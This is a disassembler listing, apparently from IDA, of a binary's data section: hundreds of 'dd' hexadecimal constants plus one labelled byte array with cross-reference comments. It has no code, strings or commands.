		dd 0CB5034D9h, 79B800D8h, 77A0D94Bh, 8BB0E3Fh, 89A5EB67h
		dd 0C54C848h, 7F39E560h, 612852Dh, 4B6360F0h, 65522892h
		dd 0A3FA80BCh, 0CA9FE2h, 81D8BC41h, 0ED2C5845h,	1A5B871Fh
		dd 0D1E9D38Ch, 34AE4Ah,	0CB26D070h, 1D45444Eh, 0CF7CD158h
		dd 28F7002Ah, 6E60ECh, 7EB62F39h, 329138D7h, 30881526h
		dd 596FDB8Ch, 0F83F7BE0h, 65D10E43h, 9A600BDCh,	12C4F8D2h
		dd 6CDD0A0h, 60DBAF44h,	0A2C3962h, 5B0045A0h, 0BFF276B1h
		dd 3A0EC33Fh, 75B828AFh, 0C8A41A4h, 0A4B9E10Ch,	6A000AB8h
		dd 5912B460h, 19DB2D7h,	54D9CDD0h, 30718231h, 31DED570h
		dd 0D476C200h, 0A62D12Ch, 0FBB60EACh, 0D70160A4h, 2A006A8Eh
		dd 0BC2C8768h, 1DAAD6h,	0A0124B77h, 7D9AF423h, 0FD11320Eh
		dd 0B302526Eh, 0A085B613h, 2FF069F0h, 4786006Ah, 4EC5EDE9h
		dd 8511237Ah, 8015448h,	6F66A659h, 21943356h, 2F5C063Bh
		dd 4429D039h, 6B80AC5Ah, 16D114EBh, 0C21C001Eh,	48D22934h
		dd 0BB4C7335h, 805C5C78h, 696E0FC8h, 1D1B3C41h,	2A082500h
		dd 0D38FBCDh, 8098B75Ch, 0F90B435Fh, 9CB44CC4h,	0A05CF500h
		dd 0EB647C8Ch, 18B23E7Ah, 0BDF8A812h, 8C5F5C83h, 0D2815900h
		dd 0A1C06EDBh, 0A491B50Ch, 1C290014h, 9A9631C1h, 0A2003E2Eh
		dd 0B4D19B4Ah, 62A98AAh, 4F1CD7BBh, 0DDF208B2h,	0A8E8A400h
		dd 526E9980h, 60714864h, 1726E100h, 222BB5B8h, 0D7B4980Fh
		dd 0F83700FCh, 0F46596h, 0AB92FD90h, 7D181FA3h,	2FB551C3h
		dd 8931061Dh, 18A637A1h, 1F0077F0h, 0CF52C951h,	184DC44Fh
		dd 98AC1B8Fh, 0A180B4A4h, 31B36F31h, 0F049A38Dh, 5830B5E8h
		dd 2C1F1120h, 6038A3BAh, 509071F2h, 0F083B04Bh,	28A15CA4h
		dd 22286B3Bh, 0B800A99Ch, 0E1F8FF34h, 0F8A37841h, 29BE60CFh
		dd 0D296E9B7h, 63A25F00h, 690B3D70h, 469100B1h,	1EC4711Ah
		dd 0C36330A1h, 302DD031h, 0D93E3A81h, 293ED1BFh, 4C178042h
		dd 0A3DE3B3Ch, 4F1D147Bh, 24295CE6h, 0BD158094h, 2FA114BCh
		dd 252CAB50h, 9CB5188h,	912DB048h, 81228385h, 0E18FDA53h
		dd 4817EDB5h, 0B745158Ch, 14D926C8h, 0D4D3549Dh, 5FAE21C4h
		dd 0A1151D01h, 7195D936h, 7700C878h, 0F4C74A9Dh, 2B3EE862h
		dd 90D9294Eh, 5E9D7980h, 0C2D2A6h, 0D09AF6A7h, 1C4E8B38h
		dd 50F8E126h, 0B1075006h, 1E2342E9h, 17C3A014h,	768B2C20h
		dd 0D3C61589h, 929D6095h, 25180079h, 563FA353h,	9620D1C3h
		dd 0B9B81017h, 99AA0A18h, 0B540ECADh, 52A16522h, 0EB186C33h
		dd 8D245020h, 0BDCC61C6h, 14690F21h, 0F006088h,	660A9CBCh
		dd 0A0AA7400h, 988726E6h, 65A201FAh, 3999FDEAh,	8C78A858h
		dd 0B991D731h, 0CF11B12Eh, 605980B2h, 0DCBE7A24h, 0A515126Ah
		dd 387004A3h, 0B0992185h, 0AF441816h, 50FD1877h, 0D054C13Bh
		dd 0D8A02C54h, 18293002h, 75B05B3Ah, 61754E41h,	7210D02Dh
		dd 8356CB38h, 2591901Fh, 0B023A9D8h, 1ACE99ACh,	48E491Eh
		dd 0AC5F1491h, 97A51148h, 4299B02h, 6C8049FDh, 3C78EEBDh
		dd 0CD4A5F1Ch, 853AA643h, 0C03100AFh, 0BEC3116Ch, 1D00338Fh
		dd 565142D2h
		dd 3778AD35h, 0E9905485h, 46C00884h, 0B9132D0h,	44860AD9h
		dd 0E38E8300h, 0F007552h, 606E3DEDh, 4C0EB093h,	0AB284B38h
		dd 64B850BCh, 3CAC4C24h, 75464D2h, 0CEAA2CD4h, 4191656Fh
		dd 543184A5h, 0DB4017CFh, 9690199Fh, 79B70A06h,	0D9A885h
		dd 502FAD43h, 0E3DB3BBDh, 935F9C00h, 8D85C43Ah,	77B7262Ah
		dd 0BB2D0C6Ch, 0F7046259h, 0D0EDB4A5h, 5E58C8h,	4559F665h
		dd 0A847CBB3h, 78577600h, 0AB3D2EFDh, 631F6FCh,	0CD679CEBh
		dd 0DC86504Dh, 17212443h, 20783100h, 2FD65B8h, 5875A188h
		dd 7DC0A367h, 0CF2AB726h, 4488889Bh, 0A600E0ABh, 38BB3C19h
		dd 35B9F207h, 8336CF81h, 0DCB055E6h, 180203E6h,	0E7F5DEBFh
		dd 0B1906056h, 29E8C9B0h, 40FCA016h, 58AD951Ch,	0ED5CE783h
		dd 7D9E88AFh, 0FB8E0039h, 0A259F388h, 57E632E1h, 347BD024h
		dd 802D158Ah, 20B75832h, 0ADEF242Bh, 568F3899h,	805200CCh
		dd 1E693FAh, 61EC5184h,	0FC2DEAD1h, 0DE021127h,	2B1FAF45h
		dd 0CF9C4926h, 5700A822h, 44101B37h, 46089B3Fh,	2B08477h
		dd 502ED61Ch, 8EE28768h, 897C4F31h, 6FCEBCDh, 4AAF15B2h
		dd 1A0028BDh, 8F09E8DBh, 57009A0Eh, 2095E726h, 39A1E984h
		dd 1735154h, 0B72407A6h, 60287CB9h, 0D089B66Ch,	754F22E2h
		dd 5F7B7EC0h, 0B8D958h,	3402CA4Eh, 0AB81152h, 0B2EDA9ECh
		dd 9DE4A1C0h, 971EC0D1h, 489DD366h, 468B2A01h, 0CE3E4361h
		dd 11C25440h, 0C78D2882h, 0C4390392h, 0B035A119h, 52712148h
		dd 0B89F30F8h, 373AA3h,	3EB80FEFh, 5FCBED77h, 0B3F40B16h
		dd 58850405h, 904FD449h, 713A80Ch, 0E4BC018Fh, 811FD52Ch
		dd 8922234h, 0B92660CFh, 36F2174Ah, 0C8907950h,	6A34F602h
		dd 0C192D31Eh, 29812B97h, 8E68CF01h, 0BE1D063h,	0A9D92900h
		dd 54E785FAh, 6C890357h, 53ACBFA2h, 0C6D7BEA0h,	0D5722607h
		dd 0D6A1C56Bh, 31F02B6Ch, 5EAC02F5h, 70340C35h,	9469C057h
		dd 10384C6Dh, 0A26B0F7Bh, 0A6693A47h, 0C4DED301h, 2984604Fh
		dd 8138676Fh, 25723DBEh, 77707DCh, 114CE1C5h, 0F57921C6h
		dd 0E36180ADh, 839D5403h, 0BE40674h, 593247C5h,	15ADD807h
		dd 0F3B024EBh, 817EBAh,	0F9E16A8h, 1C18302Ch, 0BABEA03Ah
		dd 0A7516397h, 0F98178E1h, 19801321h, 8ED6BFC6h, 340C6EB7h
		dd 299B211Bh, 14AD3A6Dh, 0C0036C40h, 0EFD6711Dh, 0A76B98D4h
		dd 513363E8h, 0A022FF86h, 32C60030h, 3EA1C34Ah,	75F2EC53h
		dd 28656D00h, 0ACC5079Dh, 0BFC402D6h, 63241AF6h, 0E4E38C93h
		dd 45E89E0h, 36018198h,	40173A0Dh, 4EEC370Bh, 0CD91C020h
		dd 0FA87014h, 5C61F600h, 21C0C62Fh, 11EE6EDh, 60F98D4Ch
		dd 51FD03C2h, 40903030h, 0D6562B7Ch, 480AFE0Ch,	787B925h
		dd 0F7B45A1h, 0DE7E91D8h, 4977E004h, 808BBC00h,	5E3B8C4Eh
		dd 2C1B1140h, 0B36D0A67h, 0C540940Eh, 0C0154EBFh, 0CB6A8F11h
		dd 0F500052Eh, 0C64678ABh, 3AF2B6BEh, 89302D72h, 4D6C6E30h
		dd 8516D60h, 7B3601A5h,	81AC0F2Bh, 9DE748Eh, 401AA277h
		dd 0AFD39D80h, 5601A798h, 73C00594h, 0EADCA61Ch, 7720281Ah
		dd 66E7147Ch, 0A200304Eh, 3F0139D8h, 0A100CE98h, 574CD95Dh
		dd 0D69EDB6h, 1BB86DC5h, 71B6B0C1h, 2F3A66h, 6122D812h
		dd 0AC4ACC41h, 0E239F803h, 223D0879h, 8C0711F8h, 2030D6F1h
		dd 795FA6h, 0BBF6B6B8h,	3A122733h, 0C6AC5806h, 1210F037h
		dd 141BF3Eh, 0C778DF34h, 0ECD6D518h, 3A44486Dh,	0C51F0229h
		dd 778F45BEh, 0D2906440h, 7316140h, 370538EAh, 0FC6C60D4h
		dd 0D30C68BDh, 412C468Dh, 1CBF03ABh, 16182BEDh,	0F0035CE0h
		dd 0AD6BD0Ah, 171892B1h, 0C995C1h, 7E03A2F9h, 47E20F24h
		dd 22A8CB48h, 6A4D2296h, 58B61618h, 7CE3AAAh, 9506BA8Bh
		dd 6AC85D6h, 399FF528h,	17D5F00h, 4E94E09Dh, 0AB21C718h
		dd 20638052h, 6F03C491h, 9F9EF1BDh, 0A1E1C6F4h,	0D5102FB8h
		dd 0ACA4251Ah, 9658DF00h, 6D1F0B76h, 301E14ABh,	3D285491h
		dd 4D08188Ch, 0B96D3181h, 5790D60h, 14292623h, 106B251Bh
		dd 7C12AC11h, 47342050h, 0C40AF624h, 0E1953D00h, 190B415Ah
		dd 83E6AB1h, 942C3066h,	46E92484h, 1FE06F58h, 2A797141h
		dd 1D62D700h, 3D4340C0h, 0A0934947h, 403C4E24h,	1933F5D1h
		dd 2CCFDB00h, 0FDBD8A96h, 17B1ED7h, 0A6CC4211h,	88A71CE2h
		dd 9A395C4Eh, 9719A200h, 0D2079C6Fh, 4B0C3CC6h,	0C87BEA00h
		dd 6079F55Ch, 423E90CFh, 88C607FAh, 8D007888h, 1363375Bh
		dd 0ACC41CAEh, 0A96DDDDFh, 9EF50CD4h, 50B8A0D1h, 21561C02h
		dd 609F4578h, 88A41904h, 2C90592Bh, 8F309480h, 18CAA52h
		dd 0D9D3C118h, 3BD87F61h, 6CE10551h, 239DE23h, 0BFDE2F4h
		dd 30C26C98h, 24E3A507h, 0A818A99h, 0DD60FC1Eh,	2442E679h
		dd 548B78Fh, 2278221Bh,	90A02DD8h, 0FF2188FAh, 39B9E002h
		dd 90544E3Ah, 886025F0h, 0B407D5Ah, 21F56F40h, 757A3680h
		dd 8507228Dh, 6C6B2345h, 0F8B0B950h, 30C458BBh,	4036DFC4h
		dd 0BF0AFF3Dh, 950300B6h, 0C0624476h, 6D0D66E9h, 683F414Dh
		dd 0CBFEC4Ch, 4726D6B5h, 2F96EC8h, 132511C9h, 0DAC5D080h
		dd 92CE00DBh, 0B204E344h, 6901E0EEh, 8BB430C3h,	80216496h
		dd 0EDA722F2h, 4D4A4C80h, 0F800EA3Ah, 80C4C60Fh, 60481608h
		dd 0EC072123h, 18079BA7h, 0D2DE1BF4h, 1FB419C0h, 32FC016Eh
		dd 0E9C4CC17h, 56C6D4E0h, 98D5B513h, 0A5D77C04h, 0DC09C10h
		dd 1D69EABCh, 0E0F4E200h, 17E930B0h, 0D73C07FCh, 9662DF96h
		dd 60923993h, 704759DFh, 2A04AF8Bh, 6ACCA08Dh, 0CBCD0067h
		dd 5CD9DF8Eh, 93634EC0h, 0A82B0171h, 48A76C39h,	0C452741Dh
		dd 29B4C00h, 1F248E29h,	12CC7907h, 9947D714h, 0E06F2012h
		dd 0B0AA6B7Ch, 4CD33CC0h, 3EBCD4h, 0FD7CE502h, 0DFEE7517h
		dd 0F970C100h, 0F8B3CDFCh, 278BABFh, 0A0F7B456h, 0A4A03847h
		dd 365FABE2h, 33D62F1Dh, 0A31BC0C0h, 0D33BBA6Dh, 647808B1h
		dd 33B98E80h, 12ACA9EDh, 30BEC4D7h, 4A99657Ch, 42007B72h
		dd 73C24F9Fh, 4DA2B3h, 6C814E50h, 72A12C26h, 0D45A2B2Eh
		dd 0C1CE51Dh, 2F0C5D4h,	0AEBF8CA6h, 69E17568h, 30A84994h
		dd 1A26D6C4h, 0BF44702Bh, 0BB01808Ch, 0EFB6071Ch, 0F072A7E9h
		dd 0B7445AC5h, 3644E6F8h, 0AEF5173Eh, 3054135Bh, 8E162A0Ch
		dd 20C85F00h, 0B0EA4625h, 20C44ACAh, 36E4DC10h,	0D4D98218h
		dd 0B006ACB0h, 0FE571680h, 14E80C3Ah, 16544D80h, 0B000A88h
		dd 0A2FF92ADh, 72E8E7CAh, 0C86F5CF8h, 1C42152Ch, 21B28CD1h
		dd 9561F531h, 5857AFF1h, 47D2F680h, 89902523h, 77C5CC01h
		dd 4B2B84C4h, 0B7EB073h, 0A9672E02h, 1119EF00h,	43774176h
		dd 107C1B1Dh, 0B7F8240h, 0B15B628Fh, 0D7E88064h, 0E18A6A20h
		dd 38A3B802h, 841423C7h, 0D4073F8h, 8B550777h, 62CE0900h
		dd 2368015Ah, 80E707F3h, 0E0B6FB91h, 13FAE9ACh,	7A7EB2C0h
		dd 4AE73469h, 0E33C306Ch, 991FC564h, 0E00917FAh, 4A9CA0BDh
		dd 906EE147h, 4DC844B0h, 0CD817265h, 9F4F14C0h,	0E2B2009Ch
		dd 0CE9E5F6Ch, 83017DEAh, 0D1BF429Ah, 0B862EBA6h, 23C0E858h
		dd 0CDBE0977h, 5DA8F0Fh, 41A4E6DCh, 22A89029h, 1CA06D23h
		dd 0E21B3DDFh, 0E4B83005h, 0DCF4D643h, 0E933997Ch, 0E2D51921h
		dd 15DF2092h, 0B973B622h, 66BDEB00h, 106F73F3h,	84E00040h
		dd 5D458928h, 7813BFD8h, 0E4243A51h, 250D58C2h,	0D5A00005h
		dd 9756256Ch, 7F200C07h
		dd 847995D6h, 30522220h, 3934D218h, 2B10CF03h, 802809BFh
		dd 525DC7Fh, 1F78AE4h, 96F4CCC0h, 7109291Ch, 17842B54h
		dd 24322E1Bh, 82919B3h,	0C4E5027h, 0B1F0076Dh, 628EE995h
		dd 0F5231DB8h, 0DC9100A9h, 8CF1CDFAh, 26037BEEh, 2855933Ch
		dd 18685C64h, 848E540Bh, 520FE404h, 0D6290802h,	0AC5160h
		dd 0BBA7FC1Fh, 0B213CF8Fh, 2E013375h, 974DDC88h, 782C6ED5h
		dd 61261B82h, 8ED6E490h, 0D0817490h, 2D6B109Eh,	9F071341h
		dd 91F10C53h, 0BA006719h, 0F3E69D0Fh, 0D145ECh,	34D60833h
		dd 8E1813A0h, 4B20FD0Ah, 0F418CCC5h, 48EE0C71h,	410057C6h
		dd 0F681147Dh, 0B7027583h, 1591F1Dh, 0E8C6C5h, 94EEE64Ch
		dd 846DD02Bh, 66884D7Ch, 11490225h, 0D5648FE7h,	4E37CC81h
		dd 5321801Ah, 0E7D6FBEh, 9CA1004Ch, 0CCA519C4h,	0BF0B85D4h
		dd 6D3F4Ah, 0BDCF0A08h,	0B06B50D6h, 0C2440364h,	4D177CC4h
		dd 0A6E704C8h, 792BDE30h, 2DD5DD5h, 97BE4BDFh, 0F4C118A4h
		dd 51A0506Ch, 533EE661h, 0C9B08092h, 4BC2CF5Fh,	69AE2584h
		dd 2D4D04B9h, 0FB4E00ACh, 97A88617h, 0E19638E8h, 1410905Dh
		dd 21F44C0Eh, 37E508AAh, 0AC8D29BEh, 409E2300h,	0C184211Bh
		dd 0D3B45759h, 80583891h, 3322898h, 86D00040h, 9D60E712h
		dd 8902AC3Ch, 0CA4E567Bh, 5CFC5836h, 0CD69828h,	9070A238h
		dd 583E8744h, 0F3808448h, 1DB367FEh, 0E17EFD04h, 0C0A017C0h
		dd 98888A24h, 2C683228h, 0F68F3453h, 0D3049C96h, 28A0FCDCh
		dd 5F8F053Eh, 0CC953073h, 0CC4A4820h, 0B34AD00Bh, 6D42DCA4h
		dd 3C8218ABh, 8E29651Fh, 39659118h, 0E1980837h,	0F189BE80h
		dd 523057C5h, 1278AC97h, 20F4F6BFh, 0EB5846D4h,	9AC16003h
		dd 0C770F837h, 4CD14055h, 0A8632D1Bh, 24F1AB17h, 0CFCC8CA4h
		dd 0A3895400h, 0C424F6F4h, 0D68B0079h, 2319FC2Fh, 0B30AE927h
		dd 24174D6Eh, 0DD03E604h, 0E80CDCF5h, 4BBC1D09h, 0E5AA00C7h
		dd 87BDADAFh, 39CED06h,	4579EA30h, 48DE306Bh, 0BC276C09h
		dd 1303FFA8h, 0C4D24CC9h, 974128C8h, 4A74D8B8h,	0AC6AD724h
		dd 0FC74F801h, 0C01ACF3h, 5A1360DDh, 14F6D200h,	0D6BF56DBh
		dd 7DF49066h, 8F5C884Dh, 70348900h, 1FF5E961h, 0FB4903Eh
		dd 3062D736h, 593E8F4h,	85114C1Ch, 1B60C86Ch, 0C8B0274Ch
		dd 222264AFh, 45B8E6E1h, 682AE01Eh, 4888BE89h, 0BF925F28h
		dd 5E8A8C81h, 6C3C25F1h, 0E7C3B788h, 60A5E2E1h,	1326CA5Ch
		dd 522C8F8Ah, 0A2C45964h, 0C3F89278h, 0A70B9842h, 96E052EDh
		dd 7FB960B0h, 9077DF6h,	4C55490Eh, 83117ED2h, 0FB16CF38h
		dd 0DB71F90Fh, 300A33E0h, 56211F4Eh, 0EA1D3B42h, 9A405D72h
		dd 0D2540F4Fh, 0F2EB005Ah, 87AC797Fh, 386BEE4Eh, 0DF1C0288h
		dd 2BD82A35h, 8E113C64h, 0E7A717AEh, 9AD83026h,	0C8A66Ch
		dd 0D8F3FAD2h, 0D4DC592Ah, 8E744C4Ch, 0C657A0B3h, 254A198h
		dd 1F3EE9BCh, 0EC842C32h, 19C640A9h, 7C5BAE9Fh,	449A54B4h
		dd 80C0B921h, 1989FCAFh, 1001761h, 0DBADF1DEh, 3A3CBF4Bh
		dd 1F80540Ah, 0C65BCAD6h, 0D22EACC4h, 5CC030A6h, 9928E3A7h
		dd 53959188h, 54BB007Ch, 0CD323755h, 62600292h,	0B18F1D26h
		dd 0D6581CC8h, 8948F348h, 65F087DCh, 803775B2h,	7243E9F8h
		dd 5D5200FCh, 9BEC3D6Dh, 20CB1350h, 878810F5h, 0ADA10027h
		dd 508AD33Ah, 120398B3h, 0D2C34B01h, 0A8B9AB53h, 9EC2FE23h
		dd 212A4440h, 24087725h, 9F43D1C3h, 0EF26B851h,	5D071F58h
		dd 614740BBh, 3C3E30C5h, 0BEADE40Ah, 0E6088441h, 6CDD8135h
		dd 883AE24Eh, 0BE26AF69h, 4E181452h, 0D6CE1919h, 1EE5EE03h
		dd 0E015E439h, 96D167Fh, 2CE9C565h, 52739484h, 0A51F4030h
		dd 5D83A063h, 87510F23h, 6B20E03Ah, 76997733h, 0DD4D0414h
		dd 7CB02E78h, 82EC8459h, 458000A1h, 0D92C6336h,	0A302A0EAh
		dd 7B0139A9h, 0B55C411Fh, 0DC5A4D12h, 0D80DBF30h, 3C23EFFAh
		dd 0E384FD1Bh, 0C29ADC70h, 94C448A6h, 9B990A03h, 16046FEDh
		dd 306C2558h, 8CB06BDCh, 0CBCCAC00h, 0F354BD42h, 2927BBAh
		dd 6E6546D6h, 10F117B3h, 6D6FE904h, 2F57308Ch, 2018544Eh
		dd 0C418CC7Bh, 3E810247h, 6E1C0099h, 53A023AEh,	3C18DF40h
		dd 30211248h, 0A870B19Bh, 2A411630h, 26500476h,	5AC2065h
		dd 0D6B705D3h, 0E448530Ah, 6F3BFB94h, 0FF300054h, 1E55E8C0h
		dd 3A98009Bh, 7015C667h, 4CB1291Bh, 497EC400h, 5C3EC00Eh
		dd 1E3E3465h, 0FDCC4C41h, 0AB00E979h, 0B54D4401h, 3C707Fh
		dd 0F8979FEBh, 2A998521h, 0C663F709h, 0A58C0EE9h, 0D2C386BFh
		dd 0D9693D69h, 27DAAE8Fh, 0C6CD1261h, 11DC2C72h, 1B1226B4h
		dd 0F62C2C23h, 9726C000h, 0B0455C0Fh, 0BC8008Dh, 96226FA4h
		dd 0D8B651E9h, 0BFB2F240h, 66A302C1h, 5768BCBEh, 0F5881453h
		dd 63E4A6EBh, 0B1E04A83h, 7A03760Bh, 40300A67h,	0E2C09AF7h
		dd 54C81800h, 0A76B12D5h, 0A20494E4h, 0AC4C020Ch, 0C07CE38Ch
		dd 4CF16C0Ch, 9611B49Bh, 47C6089Ah, 21158023h, 85AEF91Ch
		dd 0A00E3F0h, 0CE130EA5h, 849AE9h, 46264F22h, 19296D49h
		dd 909EF909h, 48800864h, 13E88527h, 8532DC08h, 882C1AD5h
		dd 373B1D74h, 0D668809Ch, 0D72D256Bh, 80DA50B3h, 6E2F1496h
		dd 6D8B90B5h, 6C387800h, 413D4825h, 0AB920BB2h,	0FA5C82D2h
		dd 7FBC6017h, 0AE9504A2h, 0F12D6CDEh, 43F080C0h, 0B01D01F7h
		dd 64FF095Eh, 48C096D6h, 0C688AC98h, 1AE02DB5h,	0AEBFB090h
		dd 0F8AA5329h, 0EB8D4680h, 0EA150154h, 0F09F01BFh, 69C1A305h
		dd 1FF09244h, 2262D830h, 93E1DF5h, 7DC6405Fh, 5681A447h
		dd 849658C9h, 0D85819ACh, 0CD012B27h, 8CD7BC52h, 249C785Dh
		dd 23B68BC5h, 11702C99h, 998F3147h, 3B20D754h, 11ABDB0Dh
		dd 0BDE81E04h, 0FCCC6E2Ah, 405100EDh, 762DB69h,	0FE7BD4B5h
		dd 0E1247600h, 3F59778Bh, 63B426D0h, 0C801135Ch, 5C012D10h
		dd 0B8BCDB2Bh, 0C9E09438h, 52B30029h, 85B623D2h, 0B72F791Ah
		dd 401812BEh, 0E6594ABh, 386DC4D4h, 0CB815A0h, 2C7F1B89h
		dd 82419100h, 53DF1225h, 25B3EACDh, 0C0188D75h,	0C11A405Ah
		dd 79287BE0h, 5B040050h, 4A3789F0h, 0E9219901h,	0BEA01FBAh
		dd 73E79C47h, 0B088F4F5h, 9AFA0089h, 628AF32h, 8330229Bh
		dd 0F054FCA1h, 5DC412EEh, 70F00865h, 0E5B26D8Bh, 762414h
		dd 85ECAF50h, 0D09CF4E3h, 0F1DF6580h, 0F516B4h,	0BD57EDFAh
		dd 0CB67C711h, 690FC478h, 56E2ABECh, 4526D443h,	0BED5A1E7h
		dd 6006433h, 0B8FAC1DFh, 100EE83Dh, 0AD496Fh, 0B9FE82A4h
		dd 96470123h, 0DFF66BD9h, 0C053D8D7h, 0AFF4D625h, 9AAD60B8h
		dd 3225603h, 1B28C7F6h,	0B2C50ADEh, 0E48A00ECh,	66B85573h
		dd 0B06E143Dh, 0AD227419h, 33B7A000h, 3ED9820Dh, 0E1291EAFh
		dd 8090D367h, 57512560h, 4A004C74h, 0BAE093D3h,	2DA707D6h
		dd 9880F515h, 0BF748858h, 1E4F848h, 0A6E4ACC0h,	24632DE5h
		dd 0C658A422h, 0D36B0E87h, 3E6764E9h, 0A13D6CC3h, 0C4624EB9h
		dd 465B1Ch, 7B5CF29Dh, 160072D7h, 4FE2B7E7h, 6A24045h
		dd 943021A3h, 0F09159A7h, 85877580h, 5DF3FFh, 9C2BD49Eh
		dd 0B62FF06Ch, 0CF1397EEh, 3000424Fh, 6E92F9B3h, 0C6040B37h
		dd 44E4AD6Dh, 0BBA73600h, 0B6C4E447h, 0D87D02DFh, 223D6CD6h
		dd 4C4154A0h, 2500D09Ah, 0AF590D99h, 245C4Dh, 29201C4h
		dd 415AD546h, 4CC65E3Bh, 0AE37812Ch, 3BC89BBCh,	7FE201DDh
		dd 7A4E50E9h, 6DE0FCAFh
		dd 73F09D00h, 0BECF69F6h, 0C56A18D6h
		db 46h
byte_530055	db 0E1h, 5Eh, 0DBh	; DATA XREF: ___:off_43859Co
					; ___:off_4385B4o
		dd 44C8C3Eh, 47A02254h,	0EC07B0A9h, 70597618h, 0ACEB8113h
		dd 54114616h, 0E35C0C30h, 944909EEh, 0D080BED4h, 8C3059EFh
		dd 0E8408494h, 172B6D42h, 811F52E1h, 8958FE8h, 7938A2E8h
		dd 27BF0024h, 4B11569Bh, 0E48000B9h, 877DA1Dh, 0AF9C01EAh
		dd 0BAB371C5h, 0ACC8D48Dh, 6EE24DFAh, 90CA88h, 0DBA083A9h
		dd 774E6654h, 0B9B4701h, 402FAF3Fh, 8D27B096h, 80002C0Ch
		dd 86F64752h, 0AAC33882h, 0DB543682h, 0F042DC6Ch, 22112C79h
		dd 9C806B8Bh, 372B725Bh, 7D2410F0h, 0AE92548Eh,	89D7640Bh
		dd 814C9817h, 0B400F5Dh, 8E8253B7h, 58627249h, 1036C461h
		dd 9C6664Ah, 0DD04D656h, 72C95481h, 40CEE158h, 2B5D46B0h
		dd 16CD2D58h, 74D047D5h, 0B5DACFh, 0D2F81932h, 0AA2BBF94h
		dd 0F23F040Ah, 7660F4D3h, 326F4C6h, 0C78EBAADh,	8285B8B0h
		dd 1B2213A0h, 5CAC642Ah, 0C1A13C53h, 209715EFh,	69E889C8h
		dd 4E373404h, 7B8601F5h, 0BFF0B2D2h, 0F46C58DDh, 4E016D04h
		dd 5C24A8EEh, 0EC7F8068h, 9878269Fh, 4A302CCBh,	0E5546048h
		dd 7B2E85DDh, 700963Dh,	0B1A55DF1h, 8AE6004Ch, 0ED43C2DCh
		dd 3890502Eh, 0E4129E42h, 90CDC23h, 9007FA07h, 2E40327Ch
		dd 5BA2439h, 212B78A4h,	0C8C0133Eh, 0A200C3D8h,	0D23894CCh
		dd 2302522h, 0DEC065CBh, 0B871211Ah, 0B890B211h, 8FFA55C0h
		dd 1A00CACEh, 0BEAE846Bh, 48302229h, 30934092h,	0B2162658h
		dd 162DFC3Fh, 34204CCCh, 77C0F1h, 0C20275D4h, 0B6ACFC5Eh
		dd 112F5B02h, 0F1C1E231h, 5DA300E4h, 5C72F592h,	5A01CA75h
		dd 977EAD37h, 71D0BF66h, 25C62E2Ch, 1AE405C8h, 8CE816B5h
		dd 7600EC68h, 0F5FA2F28h, 2B3E39h, 0A3A97010h, 588C67D4h
		dd 18D6042Ch, 30005B16h, 91B25465h, 27411771h, 0B6083012h
		dd 565BA572h, 680057FCh, 4B380F9Bh, 841F525Ch, 0E89E18Fh
		dd 2260507Dh, 0C60E6E4Dh, 56AEB589h, 900A113h, 803304Eh
		dd 0D7022EF9h, 5910BB8h, 0E2A7F820h, 30970C29h,	6AC544h
		dd 0E7909DFEh, 7150FC56h, 2C68B706h, 23B0EE87h,	669E42E1h
		dd 3D1418C0h, 3C656Fh, 67832650h, 2F0A9EE2h, 0FBCAC205h
		dd 380047E9h, 0C76B9FF7h, 0E7A700F0h, 827D7EFEh, 2DE61109h
		dd 6FF14C06h, 7EB0083Ah, 20ED8841h, 55993088h, 4410BC9Dh
		dd 5A28708h, 0D1E5DB98h, 9359C02Fh, 5100108Dh, 0A3808F4Dh
		dd 0C016BD90h, 95D55E31h, 7D09C547h, 72C041CBh,	0DB733B4h
		dd 1CD85D21h, 0DD4A5F3Fh, 2BC5420h, 45740050h, 43BD91B8h
		dd 98046426h, 0BFCAE883h, 29AEF0C2h, 0ECDA58C1h, 6D0470E9h
		dd 2F5AE460h, 6BE7F4C0h, 67A800F7h, 0CDBF8005h,	230175EAh
		dd 1437048Eh, 28A428FAh, 4FF709C4h, 41C26C8Eh, 0CCE698D6h
		dd 74B36D2Eh, 0C84C25h,	0B8631C55h, 0E18B0B37h,	3CB8F01h
		dd 824021C6h, 0B96E56E8h, 0BDC0CEC4h, 10F2C162h, 0C56BE513h
		dd 344C8h, 40E36EA9h, 0DA5B72F0h, 6C901F00h, 7E7C585Ch
		dd 3BB10E8Dh, 2C9FB2ECh, 0D04025F4h, 35179778h,	28C8E6C0h
		dd 1EBD0051h, 8F2A03DDh, 5709A276h, 0A2960BCDh,	0A0704E08h
		dd 3B113D4h, 4BB00075h,	97A7AE7Eh, 21053F5Dh, 0F2284C79h
		dd 0D007B4A2h, 70CA12C1h, 64D833E1h, 0DC8BF500h, 999BFE71h
		dd 6AACA06Dh, 316B882Bh, 486C123Eh, 4995C124h, 82E8AEDDh
		dd 36B003Ch, 4FC97B99h,	0E4008ED3h, 433EB158h, 4CDC40C0h
		dd 9980444Ch, 97308AE2h, 50C9AC09h, 0EA5C227Eh,	4D5222Eh
		dd 0D60200CCh, 309AB70Eh, 49985E95h, 0FC7280B0h, 9878492Fh
		dd 0B1AD30h, 4AEA92FDh,	968C8AE0h, 95296A01h, 5F3DD3B6h
		dd 3222EC69h, 80C84E58h, 87C0E467h, 16B01EAh, 82DED2E7h
		dd 7CD06515h, 0E35280FCh, 76884Ch, 1F0A150h, 1AE6FC29h
		dd 0ACE49CA2h, 0CC004874h, 1FD093F5h, 301B4Bh, 50A15267h
		dd 0BBE5C93Ah, 97876304h, 0DC87BEA3h, 20268148h, 63251AC2h
		dd 16D6019Ch, 4FB96E66h, 2C6C6184h, 0D9D4CC34h,	6D89C700h
		dd 206ED8FEh, 79367172h, 60B09CB6h, 0A15DF0FFh,	6C8639h
		dd 99A3BFBCh, 90A5B7F3h, 0F2DF0603h, 3139E0A6h,	93FD75Ch
		dd 0E096D62Bh, 1FC504B0h, 6C0FF4E7h, 0EA020400h, 90948281h
		dd 2DEECE20h, 2999DE2Fh, 0F747E104h, 90108710h,	0BEC0FA0Bh
		dd 707F19DEh, 5DFB1E9Eh, 810F00BDh, 54F3FDA4h, 20032570h
		dd 0F6339441h, 0BD0CE95Bh, 2A9BD8h, 0B7C4F0Fh, 0D4BE8EAAh
		dd 0CC391100h, 342F638h, 670D0585h, 0F9E778h, 0DBDCE9A5h
		dd 0F27792DEh, 0D7ECF8F2h, 43A42900h, 0B8FB902Bh, 268D01C1h
		dd 5D22A8Eh, 0D339C898h, 0B3B65A0Fh, 0D93680C5h, 5787E0h
		dd 0BCE93F32h, 0CC6A3B59h, 130350Ch, 0E2695Dh, 865B1C88h
